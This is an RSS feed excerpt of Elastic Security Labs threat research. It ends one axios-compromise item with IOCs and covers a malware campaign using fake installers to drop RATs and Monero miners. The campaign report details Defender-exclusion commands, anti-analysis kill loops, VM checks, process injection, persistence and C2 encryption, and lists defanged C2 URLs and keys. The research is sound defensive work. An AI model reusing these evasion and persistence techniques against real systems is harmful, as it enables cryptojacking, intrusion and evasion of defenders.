<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132/001/">Data Encoding: Standard Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6202033.ps1</code></td>
<td align="left">Windows payload</td>
</tr>
<tr>
<td align="left"><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>com.apple.act.mond</code></td>
<td align="left">MacOS payload</td>
</tr>
<tr>
<td align="left"><code>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ld.py</code></td>
<td align="left">Linux payload</td>
</tr>
<tr>
<td align="left"><code>sfrclak[.]com</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
<tr>
<td align="left"><code>142.11.206[.]73</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections">https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/axios-one-rat-to-rule-them-all.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Fake Installers to Monero: A Multi-Tool Mining Operation]]></title>
            <link>https://www.elastic.co/fr/security-labs/fake-installers-to-monero</link>
            <guid>fake-installers-to-monero</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs dissects a long-running operation deploying RATs, cryptominers, and CPA fraud through fake installer lures, tracking its evolution across campaigns and Monero payouts.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs has been tracking a financially motivated operation, designated REF1695, that has been active since at least late 2023. The operator deploys a combination of RATs, cryptominers, and custom XMRig loaders through fake installer packages. Across all observed campaigns, the infection chains share a consistent packing technique, overlapping C2 infrastructure, and common social engineering patterns, linking them to a single operator.</p>
<p>Beyond cryptomining, the threat actor monetizes infections through CPA (Cost Per Action) fraud, directing victims to content locker pages under the guise of software registration. In this report, we trace the operation's evolution across multiple campaign builds, analyze the C2 communication protocols, document a previously unreported .NET implant (CNB Bot), and track the operator's financial returns via public Monero mining pool dashboards.</p>
<h3>Key takeaways</h3>
<ul>
<li>Financially motivated campaigns have been active since late 2023, deploying various RATs and cryptominers through fake installer packages.</li>
<li>Operator monetizes infections through both cryptomining and CPABuild fraud.</li>
<li>Stages use a consistent Themida/WinLicense + .NET Reactor packing combination</li>
<li>CNB Bot is a previously undocumented .NET implant with RSA-2048 signed task authentication</li>
<li>A custom XMRig loader evades detection by killing the miner whenever analysis tools are running and deploys WinRing0x64.sys</li>
<li>Over 27.88 XMR paid out across four tracked wallets, with active workers at the time of writing</li>
<li>We leveraged a Claude-driven agentic pipeline to automate the extraction of payload stages and implant configurations</li>
</ul>
<h2>Campaign 1 (CNB Bot)</h2>
<p>The most recent campaign involves dropping CNB Bot, using an ISO file as the infection vector. The ISO image contains 2 files: a single-stage .NET Reactor-protected loader further packed with Themida/WinLicense 3.x, and a ReadMe.txt. Associated ISO samples:</p>
<ul>
<li><code>460203070b5a928390b126fcd52c15ed3a668b77536faa6f0a0282cf1c157162</code></li>
<li><code>b8b7aecce2a4d00f209b1e4d30128ba6ef0f83bbdc05127f6f8ba97e7d6df291</code></li>
<li><code>9977b9185472c7d4be22c20f93bc401dd74bb47223957015a3261994d54c59fc</code></li>
<li><code>9fa23382820b1e781f3e05e9452176a72529395643f09080777fab7b9c6b1f5c</code></li>
<li><code>27db41f654b53e41a4e1621a83f2478fa46b1bbffc1923e5070440a7d410b8d3</code></li>
</ul>
<p>The ReadMe.txt serves as a social engineering lure, framing the unsigned binary as the product of a small non-profit team that cannot afford EV code-signing, then provides explicit instructions to bypass SmartScreen via <code>&quot;More Info&quot; → &quot;Run Anyway.&quot;</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image4.png" alt="ReadMe.txt lure" title="ReadMe.txt lure" /></p>
<p>Using the open-source Themida/Winlicense unpacker project, <a href="https://github.com/ergrelet/unlicense">Unlicense</a>, we automatically extracted the .NET Reactor-protected loader and then passed it through <a href="https://github.com/SychicBoy/NETReactorSlayer">NETReactorSlayer</a> for deobfuscation. The majority of campaigns were observed to use this combination of protection in both the initial and subsequent stages.</p>
<p>The loader first invokes PowerShell with <code>-WindowStyle Hidden</code>, to register broad Microsoft Defender exclusions via <code>Add-MpPreference -ExclusionPath</code> and <code>Add-MpPreference -ExclusionProcess</code>, covering the loader itself, staging directories (<code>%TEMP%</code>, <code>%LocalAppData%</code>, <code>%AppData%</code>) and a set of LOLBin process names the malware later utilizes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image10.png" alt="Setting up Microsoft Defender exclusions" title="Setting up Microsoft Defender exclusions" /></p>
<p>It then extracts an embedded .NET assembly resource and writes it to disk at <code>%TEMP%\MLPCInstallHelper.exe</code> (filename varies by build), then executes it via PowerShell. This embedded resource is a .NET Reactor-protected CNB Bot instance, discussed in detail in the <strong>Code Analysis - CNB Bot</strong> section below.</p>
<p>Since no legitimate software is installed at any point, the loader presents a fake error dialog to the user, attributing the installation failure to unmet system requirements.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image13.png" alt="Fake error dialog" title="Fake error dialog" /></p>
<h2>Campaign 2 (PureRAT)</h2>
<p>Pivoting on the ReadMe.txt lure content, we discovered a campaign dropping PureRAT v3.0.1. This campaign uses a very similar initial-stage loader as campaign 1 and introduces a second-stage loader.</p>
<p>Example ISO samples employing this chain:</p>
<ul>
<li><code>7bb0e91558244bcc79b6d7a4fe9d9882f11d3a99b70e1527aac979e27165f1d7</code></li>
<li><code>c6c4a9725653b585a9d65fc90698d4610579b289bcfb2539f7a5f7e64e69f2e4</code></li>
<li><code>a3f84aa1d15fd33506157c61368fd602d0b81f69aff6c69249bf833d217308bb</code></li>
<li><code>82c03866670b70047209c39153615512f7253f125a252fe3dcd828c6598fdf86</code></li>
<li><code>542d2267b40c160b693646bc852df34cc508281c4f6ed2693b98147dae293678</code></li>
</ul>
<p>We will be using the first sample from this list as an example for our analysis.</p>
<p>The initial-stage loader applies Microsoft Defender exclusions to the same directory set (<code>%TEMP%</code>, loader path, <code>%LocalAppData%</code>, …), but process exclusions are limited to the loader executable only. The Stage 2 payload is extracted from the embedded resource to <code>%TEMP%\&lt;...&gt;InstallHelper.exe</code> and launched via hidden PowerShell <code>Start-Process</code>. Stage 2 is protected with the same Themida + .NET Reactor packing technique.</p>
<p>Stage 2 registers only process-level Microsoft Defender exclusions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image22.png" alt="Setting up Microsoft Defender exclusions" title="Setting up Microsoft Defender exclusions" /></p>
<p>The loader then extracts four embedded resources into the install directory at <code>%SystemDrive%\Users\%UserName%\AppData\Local\SVCData\Config</code>, dropping 3 unused, benign DLLs and a malicious <code>svchost.exe</code> binary, which is the 3rd stage. Stage 3 is launched through PowerShell, and a scheduled task named <code>SVCConfig</code> is registered via <code>schtasks.exe</code> with an <code>ONLOGON</code> trigger and <code>HIGHEST</code> privilege.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image33.png" alt="Stage 3 installation" title="Stage 3 installation" /></p>
<p>Following payload launch, Stage 2 writes a temporary .bat file to <code>%TEMP%</code> with a polling loop that forcefully deletes the installer binary until successful, then deletes the batch file itself.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image38.png" alt="Self-delete installer binary" title="Self-delete installer binary" /></p>
<p>Stage 3 is a Themida + .NET Reactor-protected, in-memory PE loader, which is also the beginning of the PureRAT component. The encrypted next-stage module is stored as a .NET resource and decrypted via Triple DES (3DES) in CBC mode using an embedded key and IV. The decrypted output is a GZip-compressed PE: the first 4 bytes encode the decompressed size as a little-endian integer, followed by the GZip stream.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image3.png" alt="PureRAT next-stage decryption" title="PureRAT next-stage decryption" /></p>
<p>The PureRAT v3.0.1 configuration is decoded by base64-decoding an embedded string and deserializing the result as a Protobuf message:</p>
<ul>
<li><code>23-01-26</code> (build / campaign date)</li>
<li><code>windirautoupdates[.]top</code> (C2 #1)</li>
<li><code>winautordr.itemdb[.]com</code> (C2 #2)</li>
<li><code>winautordr.ydns[.]eu</code> (C2 #3)</li>
<li><code>winautordr.kozow[.]com</code>  (C2 #4)</li>
<li><code>Aesthetics135</code> (mutex and C2 comms key)</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image17.png" alt="PureRAT decoded configuration" title="PureRAT decoded configuration" /></p>
<p>The C2 communication protocol uses key derivation function - <code>PBKDF2-SHA1(&quot;Aesthetics135&quot;, embedded_salt=010217EA2530863FF804, iter=5000)</code> to derive 96 bytes, split into an AES-256-CBC key and an HMAC-SHA256 key. Incoming messages are authenticated by verifying the HMAC over <code>[IV | ciphertext]</code> stored in the first 32 bytes; the IV is then read from byte offset (32- 48) and used to decrypt the remaining ciphertext, yielding a <a href="https://protobuf.dev/">Protobuf</a>-encoded command message.</p>
<p>By decrypting traffic captured in VirusTotal sandboxes, we observed that the C2 server at <code>windirautoupdates[.]top</code> was automatically issuing a download-and-execute task directing the implant to fetch an XMR mining payload from <code>https://github[.]com/lebnabar198/Hgh5gM99fe3dG/raw/refs/heads/main/MnrsInstllr_240126[.]exe</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image24.png" alt="PureRAT initial task decryption" title="PureRAT initial task decryption" /></p>
<h2>Campaign 3 (PureRAT, PureMiner, XMRig loader)</h2>
<p>The third campaign variant shares the same initial-stage loader design as Campaigns 1 and 2. Its Stage 2 resembles Campaign 2 but differs by dropping multiple embedded payloads from the resource section, including PureRAT, a custom XMRig loader, and PureMiner.</p>
<p>Example ISO sample:</p>
<ul>
<li><code>f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049</code>.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image40.png" alt="Installation of PureRAT, PureMiner, and a custom XMRig loader" title="Installation of PureRAT, PureMiner, and a custom XMRig loader" /></p>
<p>To keep the machine awake and maximize mining uptime, the loader disables sleep and hibernation via Windows power management commands:</p>
<ul>
<li><code>powercfg /change standby-timeout-ac 0</code></li>
<li><code>powercfg /change standby-timeout-dc 0</code></li>
<li><code>powercfg /change hibernate-timeout-ac 0</code></li>
<li><code>powercfg /change hibernate-timeout-dc 0</code></li>
</ul>
<p>The PureRAT configuration matches Campaign 2, differing only in the build/campaign ID: <code>25-11-25</code>.</p>
<p>The PE loader component of PureMiner is similar to PureRAT, and the decrypted module is also obfuscated via .NET Reactor. Since the configuration is Protobuf-serialized, hooking <code>ProtoBuf.Serializer::Deserialize</code> allows inspection of the configuration data:</p>
<ul>
<li><code>25-11-25</code> (build / campaign date)</li>
<li><code>wndlogon.hopto[.]org</code> (C2 #1)</li>
<li><code>wndlogon.itemdb[.]com</code> (C2 #2)</li>
<li><code>wndlogon.ydns[.]eu</code> (C2 #3)</li>
<li><code>wndlogon.kozow[.]com</code> (C2 #4)</li>
<li><code>4c271ad41ea2f6a44ce8d0</code> (mutex and C2 comms key)</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image41.png" alt="PureMiner decoded configuration" title="PureMiner decoded configuration" /></p>
<p>Additional behavioral indicators include the dynamic loading of AMD Display Library binaries (<code>atiadlxx.dll</code>/<code>atiadlxy.dll</code>) and the NVIDIA API library (<code>nvapi64.dll</code>), consistent with GPU hardware profiling techniques employed by PureMiner.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image1.png" alt="PureMiner loading atiadlxx.dll, atiadlxy.dll, and nvapi64.dll" title="PureMiner loading atiadlxx.dll, atiadlxy.dll, and nvapi64.dll" /></p>
<h3>Custom .NET-Based Loader for XMRig</h3>
<p>The following findings cover the custom XMRig loader deployed during this campaign. Analyzed samples:</p>
<ul>
<li><code>0176ffaf278b9281aa207c59b858c8c0b6e38fdb13141f7ed391c9f8b2dc7630</code></li>
<li><code>9409f9c398645ddac096e3331d2782705b62e388a8ecb1c4e9d527616f0c6a9e</code></li>
<li><code>f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049</code></li>
</ul>
<h4>The Entry Point and Setup</h4>
<p>Execution begins in the <code>Start()</code> method. The loader first calls <code>FetchRemoteConfig()</code>, which reaches out to a hardcoded URL (<code>https://autoupdatewinsystem[.]top/MyMNRconfigs/0226.txt</code>). The response is AES-encrypted JSON, which the loader decrypts using a hardcoded key (<code>AsyncPrivateInputx64</code>) and parses to extract the pool, wallet, and mining arguments. If the remote server is unreachable or decryption fails, it falls back to a hardcoded <code>ztbpVbABSx1jDIKnWGbx1d_0</code> configuration to ensure mining can still occur.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image26.png" alt="The hard-coded configuration when the online config is unavailable" title="The hard-coded configuration when the online config is unavailable" /></p>
<h4>Resource Extraction</h4>
<p>Simultaneously, an asynchronous task triggers <code>ExtractResources()</code>. The loader checks the <code>%TEMP%</code> directory for two files: <code>procsrv.exe</code> (the renamed XMRig payload) and <code>WinRing0x64.sys</code> (a driver used by XMRig for direct hardware access). If either is absent, the loader unpacks them from its own assembly manifest.</p>
<h4>Evasion Loop</h4>
<p>After a 3-second sleep, the loader calls <code>StartEvasionTimer()</code>, initializing a timer that ticks every 1,000 milliseconds. On each tick, <code>IsAnalysisToolRunning()</code> compares all running process names against a hardcoded list of 35 security and monitoring tools (<code>Taskmgr</code>, <code>ProcessHacker</code>, <code>Wireshark</code>, <code>Procmon</code>, etc.).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image34.png" alt="Monitoring tools that are targeted" title="Monitoring tools that are targeted" /></p>
<p>If any analysis tool is detected, the loader immediately calls <code>KillMinerProcess()</code>, terminating <code>procsrv.exe</code>, effectively dropping the CPU usage back to normal.</p>
<p>If no analysis tool is detected, the loader calls <code>CheckAndRunMiner()</code>. If the miner is not currently running, it reconstructs the command-line arguments (using the remote or fallback config) and quietly launches the miner as a hidden background process via <code>LaunchMiner()</code>.</p>
<p>This creates a &quot;hide and seek&quot; scenario for the victim. Whenever they try to investigate why their PC is slow, the malware shuts down the miner.</p>
<h4>WinRing0x64.sys and Ring 0 Access</h4>
<p>The loader also drops and loads <code>WinRing0x64.sys</code>, a legitimate open-source driver frequently abused by cryptominers. The driver provides direct Ring 0 (kernel-level) hardware access, which XMRig uses to apply its Model Specific Register (MSR) modification, reconfiguring CPU prefetcher and L3 cache behavior to significantly boost RandomX (Monero) hash rates.</p>
<h2>Campaign 4 - Umnr_ (SilentCryptoMiner)</h2>
<p>From the <code>autoupdatewinsystem[.]top</code> domain, we identified another GitHub account <code>https://github[.]com/ugurlutaha6116</code> hosting another loader variant whose executable name is prefixed with <code>Umnr_</code>. This loader is a Themida-packed SilentCryptoMiner loader that installs persistently on the victim machine, injects a watchdog payload into <code>conhost.exe</code>, and a miner payload into <code>explorer.exe</code>, mining ETH or XMR depending on the build configuration.</p>
<p>SilentCryptoMiner is a closed-source Win32 64-bit malware released for free on <a href="https://github.com/Unam-Sanctam/SilentCryptoMiner">GitHub</a>. The samples we analyzed are older versions than the latest <a href="https://github.com/Unam-Sanctam/SilentCryptoMiner/releases">release</a>:</p>
<ul>
<li><code>1f7441d72eff2e9403be1d9ce0bb07792793b2cb963f2601ecfdf8c91cd9af73</code></li>
<li><code>468441d32f62520020d57ff1f24bb08af1bc10e9b4d4da1b937450f44e80a9be</code></li>
<li><code>4e6b8fdd819293ca3fe8f8add6937bf6531a936955d9ac974a6b231823c7330e</code></li>
<li><code>6492e50e79b979254314988228a513d5acbdaa950346414955dc052ae77d2988</code></li>
<li><code>ce90cb3a9bfb8a276cb50462be932e063ed408af8c5591dd2c50f1c6d18c394c</code></li>
</ul>
<h4>Direct Syscalls</h4>
<p>To evade detection, SilentCryptoMiner uses direct syscalls instead of <code>NTDLL</code> functions. To do this, it parses <code>NTDLL</code> exports to locate the target function by a hash of its name, extracts the syscall number, and manually executes the syscall instruction sequence.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image36.png" alt="Direct syscall procedure" title="Direct syscall procedure" /></p>
<h4>Disable Sleep and Hibernate</h4>
<p>To ensure it can use the host machine for as long as possible, SilentCryptoMiner disables Windows sleep and hibernation by executing a shell command.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image5.png" alt="Disable windows sleep and hibernate" title="Disable windows sleep and hibernate" /></p>
<h4>Install Persistence</h4>
<p>After copying itself to its installation folder (in this case, configured to masquerade as legitimate software named “<code>Appdata/Local/OptimizeMS/optims.exe</code>”), SilentCryptoMiner proceeds to establish persistence. If the process is running with administrator privileges, it creates a scheduled task configured via an XML file.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image8.png" alt="Schtask task creation for persistence" title="Schtask task creation for persistence" /></p>
<p>The XML file is dropped onto the disk in the <code>AppData/Local/Temp</code> folder and contains the task configuration. One interesting setting is <code>AllowHardTerminate = False</code>, which prevents the task from being forcibly terminated via <code>schtasks</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image14.png" alt="Malware XML task configuration" title="Malware XML task configuration" /></p>
<p>If the process lacks administrator rights, it instead adds a <strong>Run</strong> key to the registry.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image35.png" alt="Malware adds a run key for persistence if not running as administrator" title="Malware adds a run key for persistence if not running as administrator" /></p>
<p>After initial installation, the process terminates. On subsequent execution by the persistence mechanism, it verifies that it is running from its installation directory before proceeding to the process injection phase.</p>
<h4>Inject watchdog and miner payloads</h4>
<p>In the samples we analyzed, the builds contain four payloads:</p>
<ul>
<li>A <code>Winring0.sys</code> driver</li>
<li>A watchdog process</li>
<li>A Monero miner</li>
<li>An Ethereum miner</li>
</ul>
<p>We know that the malware can contain multiple miners; however, in our tests, we only observed the Monero miner injected into a process. In the code, only one of the two miners is injected, which we assume depends on the configuration.</p>
<p>SilentCryptoMiner initiates injection by creating a new suspended process with a spoofed parent process. It obtains a handle to <code>explorer.exe</code> using <code>NtQuerySystemInformation</code> and <code>NtOpenProcess</code>, then configures a <code>PS_ATTRIBUTE_LIST</code> structure with the handle for parent spoofing and passes it to <code>NtCreateUserProcess</code>.</p>
<p>The payload is written to disk via <code>NtCreateFile</code> and <code>NtWriteFile</code>, then mapped into the target process's memory space through <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>. Execution flow is hijacked by modifying the suspended process's entry point (in the <code>RCX</code> register) to point to the payload's image base using <code>NtGetContextThread</code> and <code>NtSetContextThread</code>. The process's PEB (in <code>RDX</code> register) image base is also set to the payload's address using <code>NtWriteVirtualMemory</code>. Finally, the process is resumed with <code>NtResumeThread</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image21.png" alt="Process injection procedure" title="Process injection procedure" /></p>
<p>The payload data is decrypted from a hardcoded blob in the binary using a simple XOR cipher with a hardcoded key. After injection, the blob is re-encrypted in memory to reduce forensic traces.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image15.png" alt="Decrypts, injects, and re-encrypts payload" title="Decrypts, injects, and re-encrypts payload" /></p>
<p>In the analyzed samples, SilentCryptoMiner utilizes two distinct processes for payload injection: the watchdog component is injected into <code>conhost.exe</code>, while the miner payload targets <code>explorer.exe</code>. The <code>WinRing0.sys</code> driver is also written to disk, then loaded and used by the miner. This is likely to optimize the CPU for mining operations.</p>
<h4>Watchdog and Miner Processes</h4>
<p>The watchdog is responsible for monitoring the loader file in its persistence folder: it rewrites the file to disk if it is deleted and reinstalls the persistence mechanism if the scheduled task or registry key is deleted.</p>
<p>The miner downloads its configuration from <code>(/UWP1)?/*CPU.txt</code> endpoints and communicates with its C2 via <code>[UWP1|UnamWebPanel7]/api/endpoint.php</code> API, depending on the version.</p>
<p>Based on the documentation and memory strings, we know that the miner includes supplementary protection measures: Like the .NET miner detailed previously, it halts mining operations when it detects specific blocklisted processes. These processes encompass a variety of tools, including those used for process monitoring, network monitoring, antivirus protection, and reverse engineering.</p>
<h2>Code analysis - CNB Bot</h2>
<p>CNB Bot is a .NET implant with integrated loader capabilities. It implements a command-polling loop against its configured C2 servers, and supports 3 operator commands:</p>
<ul>
<li>download-and-execute arbitrary payloads</li>
<li>self-update</li>
<li>uninstall/cleanup</li>
</ul>
<p>On Jan 31, 2026, malware researcher <a href="https://x.com/ViriBack/status/2017388775978967074">@ViriBack</a> discovered a related C2 panel that was exposed at <code>https://win64autoupdates[.]top/CNB/l0g1n234[.]php</code>, which has since been taken offline.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image16.png" alt="CNB Bot leaked panel" title="CNB Bot leaked panel" /></p>
<h3>Configuration</h3>
<p>Some configuration values for CNB Bot are not encrypted, such as the bot version (<code>1.1.6.</code>), campaign date (<code>03_26</code>), and the scheduled task name for persistence (<code>HostDataPlugin</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image11.png" alt="Bot version and campaign ID in plaintext" title="Bot version and campaign ID in plaintext" /></p>
<p>Sensitive strings (C2 URLs, mutex name, auth token, comms key) are stored AES-256-CBC encrypted with a hardcoded 32-byte key, which differs across campaign batches.</p>
<p>Strings can be decrypted through the following formula:</p>
<pre><code>x = base64.decode(data)
decrypted = AES256CBC(key=hard_coded_key, iv=x[0:16]).decrypt(x[16:])
</code></pre>
<p>Extracted configuration:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Mutex Name</td>
<td align="left"><code>MTXCNBV11000ERCXSWOLZNBVRGH</code></td>
</tr>
<tr>
<td align="left">C2 URL</td>
<td align="left"><code>https://tabbysbakescodes[.]ws/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">C2 URL fallback #1</td>
<td align="left"><code>https://tommysbakescodes[.]ws/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">C2 URL fallback #2</td>
<td align="left"><code>https://tommysbakescodes[.]cv/CNB/gate.php</code></td>
</tr>
<tr>
<td align="left">Auth Token</td>
<td align="left"><code>0326GJSECMHSHOEYHQMKDZ</code></td>
</tr>
<tr>
<td align="left">Comms AES Key (input)</td>
<td align="left"><code>AnCnDai@4zDsxP!a3E</code></td>
</tr>
<tr>
<td align="left">Scheduled Task</td>
<td align="left"><code>HostDataProcess</code></td>
</tr>
<tr>
<td align="left">Install Dir</td>
<td align="left"><code>%APPDATA%\HostData\</code></td>
</tr>
<tr>
<td align="left">Marker File</td>
<td align="left"><code>%APPDATA%\HostData\install.dat</code></td>
</tr>
<tr>
<td align="left">Executable</td>
<td align="left"><code>sysdata.exe</code></td>
</tr>
<tr>
<td align="left">Group / Campaign</td>
<td align="left"><code>03_26</code></td>
</tr>
<tr>
<td align="left">Bot Version</td>
<td align="left"><code>1.1.6.</code></td>
</tr>
</tbody>
</table>
<h3>Execution Flow</h3>
<p>At startup, CNB Bot uses five different methods to check for VM detection:</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">WMI ComputerSystem</td>
<td align="left">Manufacturer/Model: &quot;vmware&quot;, &quot;virtualbox&quot;, &quot;vbox&quot;, &quot;qemu&quot;, &quot;xen&quot;, &quot;parallels&quot;, &quot;innotek&quot;, &quot;microsoft corporation&quot; (manufacturer) + &quot;virtual machine&quot; (model)</td>
</tr>
<tr>
<td align="left">WMI BIOS</td>
<td align="left">Version/Serial: &quot;vmware&quot;, &quot;virtualbox&quot;, &quot;vbox&quot;, &quot;qemu&quot;, &quot;bochs&quot;, &quot;seabios&quot;</td>
</tr>
<tr>
<td align="left">Process list</td>
<td align="left">&quot;vmtoolsd&quot;, &quot;vmwaretray&quot;, &quot;vmwareuser&quot;, &quot;vboxservice&quot;, &quot;vboxtray&quot;, &quot;xenservice&quot;</td>
</tr>
<tr>
<td align="left">Registry</td>
<td align="left">VMware Tools / VirtualBox Guest Additions keys: &quot;SOFTWARE\VMware, Inc.\VMware Tools&quot;, &quot;SOFTWARE\Oracle\VirtualBox Guest Additions&quot;, &quot;SYSTEM\CurrentControlSet\Services\VBoxGuest&quot;, &quot;SYSTEM\CurrentControlSet\Services\VBoxSF&quot;</td>
</tr>
<tr>
<td align="left">MAC Address</td>
<td align="left">&quot;00:0C:29&quot;, &quot;00:50:56&quot;, &quot;00:05:69&quot;, &quot;08:00:27&quot;, &quot;0A:00:27&quot;, &quot;00:16:3E&quot;, &quot;00:1C:14&quot;</td>
</tr>
</tbody>
</table>
<p>Each check returns zero or one and is summed against a threshold. When the detection threshold is reached, the first process instance acquires a named mutex and enters an infinite sleep <code>(Thread.Sleep(int.MaxValue))</code>, appearing hung rather than terminating cleanly. Any subsequent instance finding the mutex already held exits immediately.</p>
<p>Otherwise, on first execution, the implant checks for <code>%APPDATA%\HostData\install.dat</code>. If absent, it performs the initial installation:</p>
<ul>
<li>Generates a random 5-character alphabetic subdirectory name under <code>%APPDATA%\HostData\</code></li>
<li>Copies itself to <code>%APPDATA%\HostData\&lt;random&gt;\sysdata.exe</code></li>
<li>Writes the installed path to <code>install.dat</code></li>
<li>Extracts benign dependencies <code>DiagSvc.dll</code> and <code>sdrsvc.dll</code> into the same directory</li>
<li>Writes a VBScript wrapper <code>sysdata.vbs</code> alongside the binary: <code>CreateObject(&quot;WScript.Shell&quot;).Run &quot;&quot;&quot;&lt;installed_path&gt;&quot;&quot;&quot;, 0, False</code></li>
<li>Creates a scheduled task named <code>HostDataProcess</code> via schtasks.exe, configured to run <code>wscript.exe //nologo sysdata.vbs</code> every 10 minutes at <code>HIGHEST</code> privilege</li>
<li>Launches the installed copy as a hidden process with <code>%TEMP%</code> as the working directory</li>
<li>Self-deletes the original copy via a self-deleting BAT script (<code>timeout /t 3</code>, <code>loop-del</code>)</li>
</ul>
<p>On subsequent runs, when <code>install.dat</code> exists, and the running path matches its contents, the implant proceeds to active operation:</p>
<ul>
<li>Sets the current working directory to <code>%TEMP%</code></li>
<li>Repairs persistence: checks if <code>sysdata.vbs</code> exists (recreates if absent) and verifies the scheduled task is configured with <code>wscript.exe</code>, re-registering it if necessary</li>
<li>Acquires a named mutex (<code>MTXCNBV11000ERCXSWOLZNBVRGH</code>) - exits if already running</li>
<li>Instantiates the victim profiler, C2 comms, and command dispatcher</li>
<li>Issues a single POST to the C2 with <code>payload: &quot;fetch&quot;</code>, handles any returned task</li>
<li>Exits - next execution is driven entirely by the 10-minute scheduled task trigger</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/fake-installers-to-monero/image7.png" alt="CNB Bot main code logic" title="CNB Bot main code logic" /></p>
<h3>C2 Communication</h3>
<p>The malware communicates with its C2 by issuing HTTP POST requests with the Content-Type set to <code>application/x-www-form-urlencoded</code>. Each field value is independently AES-256-CBC encrypted with a random IV. The AES key is derived as the SHA-256 hash of the hardcoded communications passphrase (<code>AnCnDai@4zDsxP!a3E</code>). The IV is prepended to the ciphertext, and the entire blob is base64-encoded; C2 responses follow the same format.</p>
